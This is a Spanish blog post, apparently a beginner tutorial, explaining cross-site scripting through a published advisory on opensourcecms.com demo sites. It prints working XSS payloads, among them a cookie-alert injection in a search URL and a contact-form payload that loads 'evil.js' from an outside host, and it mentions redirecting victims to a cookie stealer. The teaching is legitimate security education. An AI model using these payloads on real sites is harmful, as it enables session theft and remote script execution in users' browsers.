Buenas! Llevaba ya tiempo sin escribir, he estado ocupado con el final de curso, planificación de vacaciones y esas cosas que se suelen hacer en esta época. Todo esto y otras cosas más el calor húmedo insoportable de la costa mediterránea me han privado de tiempo para escribir.
———————————————————————————————————————————————————————————————————————————-
Este va a ser el segundo post de la serie de Play & Fun with JavaScript que desde hoy sera usado para todo lo relacionado con XSS o con tips interesantes en JavaScript.
La finalidad de este post es iniciar a la gente en una de las vulnerabilidades Client Side (siempre y cuando tenga conocimientos previos de JavaScript o HTML), concretamente Cross Site Scripting, abreviado como XSS.
Las webs en cuestion fueron estas: | aspx.opensourcecms.com | php.opensourcecms.com | commercialcms.com | y el reporte en cuestión lo pueden encontrar en la zona Full-D CMS de unsersecurity.net aquí concretamente: CMS: OpenSource CMS Multiple Vulnerabilities. De este mismo reporte usaremos unicamente lo que nos interese.

+—————————————————————————–+
——++++=########################## Advisory & Vulnerabilites Information ##########################=++++——
Type: Web App Vuln
Details: 4 XSS & 1 FPD
Risk: Medium/High
Advisory ID: ASec-101
Discloure policy: RFpolicy——++++=########################## ###################################### ##########################=++++——
Lo primero de todo vemos que el tipo de vulnerabilidad esta en una aplicacion web. Si nos fijamos en el campo de detalles (que es lo que nos interesa) nos muestra que se tratan de 4 XSS y un FPD. En este post nos centraremos unicamente en los XSS.
XSS es una vulnerabilidad producida por el incorrecto filtrado de ciertas variables que pueden pasar mediante GET, POST o incluso Trace. Cuando digo incorrecto filtrado me estoy refiriendo que caracteres como < > ; : ” ‘ () . + – * / son incorrectamente interpretados por la aplicacion vulnerable. El problema de esto es que si tenemos nociones minímas de JavaScript, sabremos que podemos usar esto a nuestro favor ejecutando código JS a nuestra voluntad.
Antes de continuar me gustaría explicar una cosa. JavaScript es un lenguaje que se ejecuta en el navegador, con lo cual la modificación del código fuente de la página no se produce realmente, sino que nuestro script se ejecuta en el navegador del usuario en cuestión. Cuando modificamos el código fuente de una página inyectando JavaScript o HTML estaríamos hablando de otra vulnerabilidad: HTML injection. Continuemos ahora viendo el reporte
[+]XSS
1º [------XSS------]
Location: index.php
Method: GET
Url: http://php.opensourcecms.com/search/index.php?q=PoC – Cookie Alert
http://php.opensourcecms.com/search/index.php?q=”><script>alert(document.cookie);</script>
[Response]:
PHPSESSID=bf2c97c8e104e8724ec728249fb87cb6; ………………………..
Bien! Aquí ya tenemos cosas muy interesantes. Fijemosnos en el campo Location, esto nos indica el nombre del archivo vulnerable (index.php), Method nos indica el tipo de petición que relaizemos [1] y ahora vamos al campo más interesante, la URL donde sinos fijamos al final aparece ?q= , a simple vista parece una letra normal pero no, esta q es la variable incorrectamente filtrada y la que vamos a aprovechar.
Pasemos a la Prueba de Concepto (PoC: Proof of Concept), la verdad es que no es de las mas interesantes no obstante vamos a analizar el código.
“><script>alert(document.cookie);</script>
“> : cerramos el tag html normalmente en caso de un buscador sera un <input>
<script></script> : abrimos y cerramos nuestro script
alert() : mediante el metodo alert, nos aparecerá una ventana donde el contenido será lo que haya entre ()
document.cookie : usamos el objeto document y la propiedad cookie, que muestra los valores de las cookies del documento actual
Como habran deducido esto nos muestra una ventana con el contenido de las cookies que nos han enviado esas páginas
Ahora si me disculpan voy a saltarme el segundo XSS porque en el 3º puedo explicar dos cosas de golpe
3º [------XSS------]
Location: contactus.php
Method: POST
Url: http://php.opensourcecms.com/general/contactus.phpPoC – Post Parameters (I use Tamper data for change the post parameters)
name=”><script src=”http://testing.net/evil.js”></script>
email=”> other evil code
Supongamos que han leido todo hasta aquí, y que por ello no explicare los campos ya mencionados. Si nos fijamos en la parte del PoC, esta vez pone algo más interesante. Esta vez el metodo usado es POST, para “visualizar” los parametros vulnerables mejor recomiendo utilizar el Tamper Data[2]. Y ahora vamos a lo interesante:
name=”><script src=”http://testing.net/evil.js”></script>
Como pueden ver aqui estamos utilizando <script src= lo que hace este src es redireccionar a nuestra web donde se encuentrara nuestro evil script que contendrá código malicioso que se ejecutara en nuestro navegador. Otra forma de redireccionar por ejemplo a un stealer de cookies, es mediante document.location
Referencias y links de interés
Y hasta aquí lo interesante del reporte, los PoC’s del 2º y 4º XSS solo muestran numeros y texto asi que no creo que sea demasiado interés.
Para el próximo artículo de play & fun tratará sobre form tampering y sobre limitaciones en el output, ya veréis que vectores más chulos vais a ver




/.Coments